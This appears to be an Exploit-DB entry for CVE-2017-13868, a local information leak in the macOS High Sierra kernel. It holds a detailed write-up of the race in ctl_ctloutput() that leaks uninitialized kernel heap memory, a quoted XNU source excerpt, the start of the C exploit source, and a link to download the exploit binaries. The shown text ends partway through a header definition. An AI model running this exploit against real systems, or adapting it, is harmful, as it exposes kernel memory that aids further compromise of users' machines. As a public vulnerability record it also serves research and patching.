Exploit-DB #44234
Description: Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak
Type: local
Platform: macos
Date: 2017-12-07
Author: Brandon Azad

Exploit:
/*
 * ctl_ctloutput-leak.c
 * Brandon Azad
 *
 * CVE-2017-13868
 *
 * While looking through the source code of XNU version 4570.1.46, I noticed that the function
 * ctl_ctloutput() in the file bsd/kern/kern_control.c does not check the return value of
 * sooptcopyin(), which makes it possible to leak the uninitialized contents of a kernel heap
 * allocation to user space. Triggering this information leak requires root privileges.
 *
 * The ctl_ctloutput() function is called when a userspace program calls getsockopt(2) on a kernel
 * control socket. The relevant code does the following:
 *   (a) It allocates a kernel heap buffer for the data parameter to getsockopt(), without
 *       specifying the M_ZERO flag to zero out the allocated bytes.
 *   (b) It copies in the getsockopt() data from userspace using sooptcopyin(), filling the data
 *       buffer just allocated. This copyin is supposed to completely overwrite the allocated data,
 *       which is why the M_ZERO flag was not needed. However, the return value of sooptcopyin() is
 *       not checked, which means it is possible that the copyin has failed, leaving uninitialized
 *       data in the buffer. The copyin could fail if, for example, the program passed an unmapped
 *       address to getsockopt().
 *   (c) The code then calls the real getsockopt() implementation for this kernel control socket.
 *       This implementation should process the input buffer, possibly modifying it and shortening
 *       it, and return a result code. However, the implementation is free to assume that the
 *       supplied buffer has already been initialized (since theoretically it comes from user
 *       space), and hence several implementations don't modify the buffer at all. The NECP
 *       function necp_ctl_getopt(), for example, just returns 0 without processing the data buffer
 *       at all.
 *   (d) Finally, if the real getsockopt() implementation doesn't return an error, ctl_ctloutput()
 *       calls sooptcopyout() to copy the data buffer back to user space.
 *
 * Thus, by specifying an unmapped data address to getsockopt(2), we can cause a heap buffer of a
 * controlled size to be allocated, prevent the contents of that buffer from being initialized, and
 * then reach a call to sooptcopyout() that tries to write that buffer back to the unmapped
 * address. All we need to do for the copyout to succeed is remap that address between the calls to
 * sooptcopyin() and sooptcopyout(). If we can do that, then we will leak uninitialized kernel heap
 * data to userspace.
 *
 * It turns out that this is a pretty easy race to win. While testing on my 2015 Macbook Pro, the
 * mean number of attempts to win the race was never more than 600, and the median was never more
 * than 5. (This testing was conducted with DEBUG off, since the printfs dramatically slow down the
 * exploit.)
 *
 * This program exploits this vulnerability to leak data from a kernel heap buffer of a
 * user-specified size. No attempt is made to seed the heap with interesting data. Tested on macOS
 * High Sierra 10.13 (build 17A365).
 *
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44234.zip
 *
 */
#if 0
	if (sopt->sopt_valsize && sopt->sopt_val) {
		MALLOC(data, void *, sopt->sopt_valsize, M_TEMP,	// (a) data is allocated
			M_WAITOK);					//     without M_ZERO.
		if (data == NULL)
			return (ENOMEM);
		/*
		 * 4108337 - copy user data in case the
		 * kernel control needs it
		 */
		error = sooptcopyin(sopt, data,				// (b) sooptcopyin() is
			sopt->sopt_valsize, sopt->sopt_valsize);	//     called to fill the
	}								//     buffer; the return
	len = sopt->sopt_valsize;					//     value is ignored.
	socket_unlock(so, 0);
	error = (*kctl->getopt)(kctl->kctlref, kcb->unit,		// (c) The getsockopt()
			kcb->userdata, sopt->sopt_name,			//     implementation is
				data, &len);				//     called to process
	if (data != NULL && len > sopt->sopt_valsize)			//     the buffer.
		panic_plain("ctl_ctloutput: ctl %s returned "
			"len (%lu) > sopt_valsize (%lu)\n",
				kcb->kctl->name, len,
				sopt->sopt_valsize);
	socket_lock(so, 0);
	if (error == 0) {
		if (data != NULL)
			error = sooptcopyout(sopt, data, len);		// (d) If (c) succeeded,
		else							//     then the data buffer
			sopt->sopt_valsize = len;			//     is copied out to
	}								//     userspace.
#endif

#include <errno.h>
#include <mach/mach.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#if __x86_64__

// ---- Header files not available on iOS ---------------------------------------------------------

#include <mach/mach_vm.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>

#else /* __x86_64__ */

// If we're not on x86_64, then we probably don't have access to the above headers. The following
// definitions are copied directly from the macOS header files.

// ---- Definitions from mach/mach_vm.h -----------------------------------------------------------

extern
kern_return_t mach_vm_allocate
(
	vm_map_t target,
	mach_vm_address_t *address,
	mach_vm_size_t size,
	int flags
);

extern
kern_return_t mach_vm_deallocate
(
	vm_map_t target,
	mach_vm_address_t address,
	mach_vm_size_t size
);

// ---- Definitions from sys/sys_domain.h ---------------------------------------------------------

#define SYSPROTO_CONTROL	2	/* kernel control protocol */

#define AF_SYS_CONTROL		2	/* corresponding sub address type */

// ---- Definitions from sys/kern_control.h -------------------------------------------------------

#define CTLIOCGINFO     _IOWR('N', 3, struct ctl_info)	/* get id from name */

#define MAX_KCTL_NAME	96

struct ctl_info {
    u_int32_t	ctl_id;					/* Kernel Controller ID  */
    char	ctl_name[MA